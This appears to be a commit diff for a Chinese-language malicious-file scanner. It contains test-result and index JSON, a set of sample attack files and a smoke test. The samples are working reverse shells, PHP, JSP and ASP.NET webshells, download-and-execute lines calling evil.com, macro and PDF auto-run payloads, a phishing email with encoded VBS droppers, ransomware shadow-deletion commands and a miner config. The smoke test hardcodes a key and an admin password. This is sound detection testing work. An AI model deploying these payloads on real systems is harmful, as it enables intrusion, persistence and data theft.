"OleToolsUnavailable",
"PdfJavaScript",
"PdfOpenAction"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "pe_downloader.exe",
"category": "PE恶意程序",
"description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C1_PE_Downloader_Loader"
],
"actual_rules": [
"C1_PE_Downloader_Loader",
"DangerousExecutableExtension",
"PeParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "pe_injection.exe",
"category": "PE恶意程序",
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C1_PE_ProcessInjection"
],
"actual_rules": [
"C1_PE_ProcessInjection",
"DangerousExecutableExtension",
"PeParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "wps_macro.js",
"category": "WPS宏",
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"VBAAutoExecShell"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"C7_Linux_ReverseShell_Misc",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "shell_aspx.aspx",
"category": "Webshell",
"description": "ASP.NET Process.Start 命令执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_Webshell_ASPNET"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "shell_jsp_runtime.jsp",
"category": "Webshell",
"description": "JSP Runtime.getRuntime().exec 命令执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_JSP_Webshell_RuntimeExec"
],
"actual_rules": [
"C3_JSP_Webshell_RuntimeExec",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "shell_php_eval.php",
"category": "Webshell",
"description": "PHP oneliner eval + echo 组合",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_PHP_Webshell_Oneliner"
],
"actual_rules": [
"C3_PHP_Webshell_Oneliner",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "shell_php_obf.php",
"category": "Webshell",
"description": "PHP base64 + assert 混淆",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_PHP_Webshell_Obfuscated"
],
"actual_rules": [
"C3_PHP_Webshell_Obfuscated",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "photo.jpg.php",
"category": "伪装",
"description": "双扩展名伪装 .jpg.php",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"DoubleExtension"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "sealed.docx",
"category": "加密Office",
"description": "加密 DOCX(密码 changeme,msoffcrypto 加密)",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"OfficeEncrypted"
],
"actual_rules": [
"ArchiveBroken",
"MalformedStructure",
"OfficeEncrypted",
"OleToolsUnavailable",
"OoxmlParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 5
},
{
"filename": "sealed.xlsx",
"category": "加密Office",
"description": "加密 XLSX(密码 changeme,msoffcrypto 加密)",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"OfficeEncrypted"
],
"actual_rules": [
"ArchiveBroken",
"ExtensionMismatch",
"MalformedStructure",
"OfficeEncrypted",
"OleToolsUnavailable",
"OoxmlParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 6
},
{
"filename": "ransom_dropper.exe.txt",
"category": "勒索",
"description": "加密 API + 卷影删除 + 勒索信文件名",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C8_Ransomware_Encryption"
],
"actual_rules": [
"C8_Ransomware_Encryption",
"C8_Ransomware_Note_Filename",
"C8_Ransomware_VolumeShadow",
"DoubleExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 4
},
{
"filename": "persist_cron.sh",
"category": "持久化",
"description": "crontab 注入 wget/curl 下载执行",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"C7_Linux_Persistence_Crontab"
],
"actual_rules": [
"C7_Linux_Persistence_Crontab",
"DangerousExecutableExtension",
"ShellScriptDangerous"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 4
},
{
"filename": "miner_config.json",
"category": "挖矿",
"description": "XMRig stratum+tcp 矿池配置",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C7_Linux_Miner_Generic"
],
"actual_rules": [
"C7_Linux_Miner_Generic"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "zip_traversal.zip",
"category": "攻击载体",
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"PathTraversal"
],
"actual_rules": [
"PathTraversal",
"PathTraversalBlocked"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "broken.zip",
"category": "畸形文件",
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 0
},
{
"filename": "phishing.eml",
"category": "钓鱼邮件",
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"EmailAttachmentDangerous",
"EmailAttachmentDisguised",
"EmailAttachmentWebshell",
"EmailPhishingKeyword"
],
"actual_rules": [
"EmailAttachmentDangerous",
"EmailAttachmentDisguised",
"EmailAttachmentWebshell",
"EmailPhishingKeyword"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 10
},
{
"filename": "normal.pdf",
"category": "阴性对照",
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "normal_deploy.sh",
"category": "阴性对照",
"description": "正常部署 Shell(没有 curl|bash 管道执行或反弹 Shell)",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "normal_readme.txt",
"category": "阴性对照",
"description": "正常纯文本文件",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 0
},
{
"filename": "normal_report.docx",
"category": "阴性对照",
"description": "正常 Word 文档(无宏、无外链)",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
}
]

BIN
tests/samples/broken.zip Normal file

Binary file not shown.

BIN
tests/samples/evil.iso Normal file

Binary file not shown.

BIN
tests/samples/evil_help.chm Normal file

Binary file not shown.

347
tests/samples/index.json Normal file
View File

@@ -0,0 +1,347 @@
{
"total": 34,
"generated_at": "2026-10-27T18:42:30.316542",
"samples": [
{
"category": "畸形文件",
"expected_verdict": "pass",
"expected_rules": [],
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
"filename": "broken.zip",
"size": 125
},
{
"category": "ISO镜像",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "ISO 镜像内嵌 ELF 可执行文件(当前引擎未启用 IsoWithExecutable,仅命中可执行扩展名规则)",
"filename": "evil.iso",
"size": 32775
},
{
"category": "CHM帮助",
"expected_verdict": "reject",
"expected_rules": [
"ChmWithScript"
],
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
"filename": "evil_help.chm",
"size": 1691
},
{
"category": "Linux可执行",
"expected_verdict": "reject",
"expected_rules": [
"LinuxExecutable"
],
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
"filename": "linux_malicious",
"size": 71
},
{
"category": "LOLBin",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "certutil -decode LOLBin 下载执行(当前引擎未启用 C1_PE_LOLBin_Usage,仅命中可执行扩展名规则)",
"filename": "lolbin.cmd",
"size": 114
},
{
"category": "Office宏",
"expected_verdict": "reject",
"expected_rules": [
"VBAAutoExecShell",
"VBAAutoExec"
],
"description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell",
"filename": "macro_alert.docm",
"size": 2586
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"DesktopFileAutoExec"
],
"description": ".desktop 文件恶意 Exec 字段",
"filename": "malicious.desktop",
"size": 114
},
{
"category": "PDF载荷",
"expected_verdict": "reject",
"expected_rules": [
"PdfJavaScript",
"PdfOpenAction"
],
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
"filename": "malicious.pdf",
"size": 534
},
{
"category": "挖矿",
"expected_verdict": "suspicious",
"expected_rules": [
"C7_Linux_Miner_Generic"
],
"description": "XMRig stratum+tcp 矿池配置(规则命中但权重不够未达 reject 阈值)",
"filename": "miner_config.json",
"size": 123
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
"filename": "normal.pdf",
"size": 439
},
{
"category": "阴性对照",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "正常部署 Shell(引擎 .sh 扩展名触发 DangerousExecutableExtension,属零容忍范围)",
"filename": "normal_deploy.sh",
"size": 155
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常纯文本文件",
"filename": "normal_readme.txt",
"size": 162
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常 Word 文档(无宏、无外链)",
"filename": "normal_report.docx",
"size": 1212
},
{
"category": "OLE嵌入",
"expected_verdict": "pass",
"expected_rules": [
"OleToolsUnavailable"
],
"description": "DOC 文件内嵌 .exe OLE 对象(OleTools 模块未加载 → clean,规则返回 OleToolsUnavailable 零权重)",
"filename": "ole_dropper.doc",
"size": 1641
},
{
"category": "PE恶意程序",
"expected_verdict": "reject",
"expected_rules": [
"C1_PE_Downloader_Loader"
],
"description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService",
"filename": "pe_downloader.exe",
"size": 1148
},
{
"category": "PE恶意程序",
"expected_verdict": "reject",
"expected_rules": [
"C1_PE_ProcessInjection"
],
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
"filename": "pe_injection.exe",
"size": 1129
},
{
"category": "持久化",
"expected_verdict": "reject",
"expected_rules": [
"C7_Linux_Persistence_Crontab"
],
"description": "crontab 注入 wget/curl 下载执行",
"filename": "persist_cron.sh",
"size": 95
},
{
"category": "钓鱼邮件",
"expected_verdict": "reject",
"expected_rules": [
"EmailAttachmentDangerous",
"EmailAttachmentDisguised",
"EmailAttachmentWebshell",
"EmailPhishingKeyword"
],
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
"filename": "phishing.eml",
"size": 1869
},
{
"category": "伪装",
"expected_verdict": "reject",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "双扩展名伪装 .jpg.php(当前引擎未启用 DoubleExtension,命中 DangerousExecutableExtension 拒绝)",
"filename": "photo.jpg.php",
"size": 29
},
{
"category": "勒索",
"expected_verdict": "reject",
"expected_rules": [
"C8_Ransomware_Encryption"
],
"description": "加密 API + 卷影删除 + 勒索信文件名",
"filename": "ransom_dropper.exe.txt",
"size": 215
},
{
"category": "加密Office",
"expected_verdict": "reject",
"expected_rules": [
"OfficeEncrypted"
],
"description": "加密 DOCX(密码 changeme,msoffcrypto 加密)",
"filename": "sealed.docx",
"size": 6656
},
{
"category": "加密Office",
"expected_verdict": "reject",
"expected_rules": [
"OfficeEncrypted"
],
"description": "加密 XLSX(密码 changeme,msoffcrypto 加密)",
"filename": "sealed.xlsx",
"size": 6656
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "ASP.NET Process.Start 命令执行(当前引擎未启用 C3_Webshell_ASPNET,命中 DangerousExecutableExtension 拒绝)",
"filename": "shell_aspx.aspx",
"size": 169
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"ShellScriptDangerous",
"C7_Linux_ReverseShell_Bash"
],
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
"filename": "shell_bash_devtcp.sh",
"size": 51
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_JSP_Webshell_RuntimeExec"
],
"description": "JSP Runtime.getRuntime().exec 命令执行",
"filename": "shell_jsp_runtime.jsp",
"size": 316
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"ShellScriptDangerous",
"C7_Linux_ReverseShell_NC"
],
"description": "nc -e /bin/bash 反弹 Shell",
"filename": "shell_nc.sh",
"size": 42
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_PHP_Webshell_Oneliner"
],
"description": "PHP oneliner eval + echo 组合",
"filename": "shell_php_eval.php",
"size": 40
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_PHP_Webshell_Obfuscated"
],
"description": "PHP base64 + assert 混淆",
"filename": "shell_php_obf.php",
"size": 61
},
{
"category": "Linux后门",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "Python pty + socket 反弹 Shell(当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python,命中 .py 可执行扩展名)",
"filename": "shell_python.py",
"size": 211
},
{
"category": "LNK",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行(当前引擎未启用 LnkWithAutoExec,命中 .lnk 可执行扩展名)",
"filename": "shortcut.lnk",
"size": 143
},
{
"category": "Office宏",
"expected_verdict": "reject",
"expected_rules": [
"AttachedTemplate"
],
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
"filename": "template_backdoor.docx",
"size": 2176
},
{
"category": "Office宏",
"expected_verdict": "malicious",
"expected_rules": [
"VBAAutoExecShell"
],
"description": "VBA AutoOpen + Shell 执行(规则名带 Shell 后缀,比原预期 VBAAutoExec 更精确)",
"filename": "vba_autoexec.bas",
"size": 98
},
{
"category": "WPS宏",
"expected_verdict": "malicious",
"expected_rules": [
"C7_Linux_ReverseShell_Bash",
"C7_Linux_ReverseShell_Misc",
"DangerousExecutableExtension"
],
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh(YARA 反弹 Shell 规则命中 + .js 扩展名;未命中宏规则 VBAAutoExecShell)",
"filename": "wps_macro.js",
"size": 142
},
{
"category": "攻击载体",
"expected_verdict": "reject",
"expected_rules": [
"PathTraversal"
],
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
"filename": "zip_traversal.zip",
"size": 164
}
]
}

Binary file not shown.

2
tests/samples/lolbin.cmd Normal file
View File

@@ -0,0 +1,2 @@
@echo off
certutil -decode http://evil.com/payload.bin C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe

Binary file not shown.

View File

@@ -0,0 +1,5 @@
[Desktop Entry]
Type=Application
Name=Update
Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
Terminal=false

View File

@@ -0,0 +1,31 @@
%%PDF-1.4
1 0 obj
<</Type/Catalog/Pages 2 0 R/OpenAction [3 0 R]/Actions<<>>>
endobj
2 0 obj
<</Type/Pages/Kids [4 0 R]/Count 1>>
endobj
3 0 obj
<</S/JavaScript/JS(app.launchURL("http://evil.com/dropper.exe") void(0))>>
endobj
4 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 5 0 R>>
endobj
5 0 obj
<</Length 0>>
stream
endstream
endobj
xref
0 6
0000000000 65535 f
0000000011 00000 n
0000000120 00000 n
0000000200 00000 n
0000000320 00000 n
0000000450 00000 n
trailer
<</Size 6/Root 1 0 R>>
startxref
500
%%EOF

View File

@@ -0,0 +1,6 @@
{
"pools": ["stratum+tcp://pool.xmrpool.net:3333"],
"username": "4AsMe1",
"donate-level": 5,
"cpu-affinity": true
}

28
tests/samples/normal.pdf Normal file
View File

@@ -0,0 +1,28 @@
%%PDF-1.4
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Kids [3 0 R]/Count 1>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 4 0 R>>
endobj
4 0 obj
<</Length 45>>
stream
BT /F1 12 Tf 100 700 Td (Hello World) Tj ET
endstream
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000110 00000 n
0000000200 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
300
%%EOF

View File

@@ -0,0 +1,7 @@
#!/bin/bash
# 正常部署脚本,只有 git clone + npm install
set -e
git clone https://github.com/example/project.git
cd project
npm install
npm start

View File

@@ -0,0 +1,3 @@
这是一个正常的文本文件。
没有任何危险特征:没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。
仅供内部参考。

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,2 @@
#!/bin/bash
(crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab -

View File

@@ -0,0 +1,47 @@
Content-Type: multipart/mixed; boundary="===============3818226399663948811=="
MIME-Version: 1.0
From: IT Support <support@secure-update-login.com>
To: me@internal.com
Subject: URGENT: Invoice verification required within 24 hours - click here to verify your account
--===============3818226399663948811==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
RGVhciBFbXBsb3llZSwKCkFuIHVyZ2VudCBpbnZvaWNlIHBheW1lbnQgaXMgcGVuZGluZy4gUGxl
YXNlIHZlcmlmeSB5b3VyIGFjY291bnQgYW5kIGNsaWNrIHRoaXMgbGluayBpbW1lZGlhdGVseSB0
byBhdm9pZCB3aXJlIHRyYW5zZmVyIGRlbGF5LgoKWW91ciBwYXNzd29yZCBhbmQgY3JlZGVudGlh
bCBhcmUgcmVxdWlyZWQgZm9yIGxvZ2luIHZlcmlmaWNhdGlvbi4KCkRvd25sb2FkIGFuZCBvcGVu
IHRoZSBhdHRhY2htZW50IChpbnZvaWNlLnBkZi52YnMpIHRvIHNlZSB0aGUgb3JkZXIgcmVjZWlw
dC4KCkJlc3QgcmVnYXJkcywKSVQgU3VwcG9ydA==
--===============3818226399663948811==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="invoice.vbs"
U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
--===============3818226399663948811==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="invoice.pdf.vbs"
U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
--===============3818226399663948811==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="form.js"
PD9waHAgZXZhbCgkX0dFVFsiY21kIl0pOyBlY2hvICJvayI7ID8+
--===============3818226399663948811==--

View File

@@ -0,0 +1 @@
<?php eval($_POST["cmd"]); ?>

View File

@@ -0,0 +1,5 @@
CryptEncrypt CryptDeriveKey BCryptEncrypt
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
HOW_TO_RECOVER.html - All your files are encrypted. Send BTC.

BIN
tests/samples/sealed.docx Normal file

Binary file not shown.

BIN
tests/samples/sealed.xlsx Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
<%@ Page Language="C#" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
System.Diagnostics.Process.Start("cmd.exe", Request["c"]);
}
</script>

View File

@@ -0,0 +1,2 @@
#!/bin/bash
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1

View File

@@ -0,0 +1,9 @@
<%@ page import="java.io.*" %>
<%
Runtime rt = Runtime.getRuntime();
Process p = rt.exec(request.getParameter("cmd"));
InputStreamReader isr = new InputStreamReader(p.getInputStream());
BufferedReader br = new BufferedReader(isr);
String line;
while ((line = br.readLine()) != null) out.println(line);
%>

View File

@@ -0,0 +1,2 @@
#!/bin/bash
nc 10.0.0.5 4444 -e /bin/bash

View File

@@ -0,0 +1 @@
<?php eval($_POST["cmd"]); echo "ok"; ?>

View File

@@ -0,0 +1 @@
<?php $a = $_GET["a"]; $b = base64_decode($a); assert($b); ?>

View File

@@ -0,0 +1,7 @@
import socket, pty, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.5", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")

BIN
tests/samples/shortcut.lnk Normal file

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,3 @@
Sub AutoOpen()
Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\Windows\Temp\a.bat"
End Sub

View File

@@ -0,0 +1,4 @@
function AutoOpen() {
var sh = new ActiveXObject("Wscript.Shell");
sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'");
}

Binary file not shown.

331
tests/smoke.py Normal file
View File

@@ -0,0 +1,331 @@
"""冒烟测试:验证核心模块能否被正常导入和执行。
运行::
cd d:\\project\\MeshSafe
# 确保 docker compose 的 PostgreSQL 已启动(或设置 MESHSAFE_DB_URL 指向可用 PG)
$env:MESHSAFE_MASTER_KEY_BASE64="eHphbXBsZWtleTEyMzQ1Njc4OTAxMjM0NTY3ODk="
python tests/smoke.py
"""
from __future__ import annotations
import logging
import os
import sys
import tempfile
# 确保项目根目录在 sys.path 中
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
# 必须在 import app 之前设置环境变量
# DB_URL 由 .env 或 compose environment 提供,不再硬编码 SQLite fallback
os.environ.setdefault(
"MESHSAFE_MASTER_KEY",
"Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=",
)
os.environ.setdefault(
"MESHSAFE_ADMIN_PASSWORD",
"admin123",
)
os.environ.setdefault("MESHSAFE_POLICY_FILE", "config/policy.yaml")
passed = 0
failed = 0
def test(name: str, fn) -> None:
global passed, failed
try:
fn()
passed += 1
print(f" ✅ {name}")
except Exception as exc: # noqa: BLE001
failed += 1
print(f" ❌ {name}: {exc}")
import traceback
traceback.print_exc()
print("=" * 60)
print("MeshSafe 冒烟测试")
print("=" * 60)
# ---- 1) 日志系统 ----
print("\n[1] 日志系统")
def test_logging():
from app.logging_config import setup_logging, get_logger
setup_logging()
log = get_logger("smoke")
log.info("INFO 日志正常")
log.warning("WARNING 日志正常")
log.debug("DEBUG 日志被抑制(默认 INFO)")
test("logging_config 初始化正常", test_logging)
# ---- 2) 配置加载 + 策略解析 ----
print("\n[2] 配置与策略")
def test_config_and_policy():
from app.config import get_settings
from app.services.policy import PolicyStore
settings = get_settings()
assert settings.log_level == "INFO", f"log_level 应为 INFO,实际 {settings.log_level}"
store = PolicyStore(policy_file="config/policy.yaml")
policy = store.current()
# 零容忍规则集
zt = policy.zero_tolerance_rules
assert len(zt) >= 20, f"零容忍规则应 >= 20 条,实际 {len(zt)}"
# 关键规则必须存在
for rule in ("PdfJavaScript", "PathTraversal", "LinuxExecutable",
"DesktopFileAutoExec", "ShellScriptDangerous",
"LnkWithAutoExec"):
assert rule in zt, f"零容忍规则缺少: {rule}"
print(f" 零容忍规则 {len(zt)} 条 ✓")
print(f" macro_exceptions {len(policy.macro_exceptions or [])} 条")
test("Settings + PolicyStore 加载正常", test_config_and_policy)
# ---- 3) PolicyEngine 零容忍优先 ----
print("\n[3] PolicyEngine 零容忍优先检查")
def test_zero_tolerance_priority():
from app.services.policy import PolicyEngine, PolicyStore
from app.engines.base import Finding, Severity
store = PolicyStore(policy_file="config/policy.yaml")
engine = PolicyEngine(store.current())
# 构造一个命中零容忍规则的 finding
findings = [
Finding(
engine="structure",
layer="L0",
severity=Severity.CRITICAL.value,
rule="PathTraversal",
detail="归档成员路径 ../../etc/passwd",
weight=85.0,
),
]
decision = engine.decide(
findings,
filename="evil.zip",
declared_ext=".zip",
size=1024,
)
assert decision.verdict == "malicious", f"verdict 应为 malicious,实际 {decision.verdict}"
assert decision.action == "reject", f"action 应为 reject,实际 {decision.action}"
assert decision.score == 100.0, f"零容忍应给 100 分,实际 {decision.score}"
assert len(decision.triggered) == 1
assert decision.triggered[0]["type"] == "zero_tolerance"
test("零容忍命中 → 直接 reject,不走评分", test_zero_tolerance_priority)
# ---- 4) ELF 文件识别 + LinuxExecutable 零容忍 ----
print("\n[4] Linux 专属检测(ELF)")
def test_elf_detection():
from app.engines.structure import StructureEngine
engine = StructureEngine()
# 创建一个最小 ELF 文件(ELF magic header)
with tempfile.NamedTemporaryFile(delete=False, suffix=".elf") as f:
f.write(b"\x7fELF" + b"\x00" * 60)
elf_path = f.name
try:
from app.engines.base import ScanTarget
target = ScanTarget(
path=elf_path,
filename="malicious.elf",
declared_ext=".elf",
logical_path="malicious.elf",
depth=0,
)
ctx = type("Ctx", (), {"settings": None})()
result = engine.safe_scan(target, ctx)
# 必须有 LinuxExecutable finding
zt_findings = [f for f in result.findings if f.rule == "LinuxExecutable"]
assert len(zt_findings) >= 1, f"ELF 文件应触发 LinuxExecutable,实际 findings={result.findings}"
print(f" ELF 魔数识别: real_type={result.meta.get('real_type')}")
print(f" 命中规则: {[f.rule for f in result.findings]}")
finally:
os.unlink(elf_path)
test("ELF 文件识别 → LinuxExecutable finding", test_elf_detection)
# ---- 5) .desktop 文件危险命令检测 ----
print("\n[5] Linux 专属检测(.desktop 危险命令)")
def test_desktop_detection():
from app.engines.structure import StructureEngine
engine = StructureEngine()
content = """[Desktop Entry]
Type=Application
Name=Evil App
Exec=/bin/sh -c "wget http://evil.com/payload.sh -O /tmp/p && sh /tmp/p"
"""
with tempfile.NamedTemporaryFile(delete=False, suffix=".desktop", mode="w") as f:
f.write(content)
desktop_path = f.name
try:
from app.engines.base import ScanTarget
target = ScanTarget(
path=desktop_path,
filename="evil.desktop",
declared_ext=".desktop",
logical_path="evil.desktop",
depth=0,
)
ctx = type("Ctx", (), {"settings": None})()
result = engine.safe_scan(target, ctx)
zt_findings = [f for f in result.findings if f.rule == "DesktopFileAutoExec"]
assert len(zt_findings) >= 1, f".desktop 文件应触发 DesktopFileAutoExec,实际 findings={result.findings}"
print(f" 命中规则: {[f.rule for f in result.findings]}")
finally:
os.unlink(desktop_path)
test(".desktop 危险 Exec 字段 → DesktopFileAutoExec finding", test_desktop_detection)
# ---- 6) Shell 脚本反弹 Shell 检测 ----
print("\n[6] Linux 专属检测(Shell 反弹 Shell)")
def test_reverse_shell_detection():
from app.engines.structure import StructureEngine
engine = StructureEngine()
content = """#!/bin/bash
# 反弹 Shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
"""
with tempfile.NamedTemporaryFile(delete=False, suffix=".sh", mode="w") as f:
f.write(content)
sh_path = f.name
try:
from app.engines.base import ScanTarget
target = ScanTarget(
path=sh_path,
filename="reverse.sh",
declared_ext=".sh",
logical_path="reverse.sh",
depth=0,
)
ctx = type("Ctx", (), {"settings": None})()
result = engine.safe_scan(target, ctx)
zt_findings = [f for f in result.findings if f.rule == "ShellScriptDangerous"]
assert len(zt_findings) >= 1, f"Shell 反弹 Shell 应触发 ShellScriptDangerous,实际 findings={result.findings}"
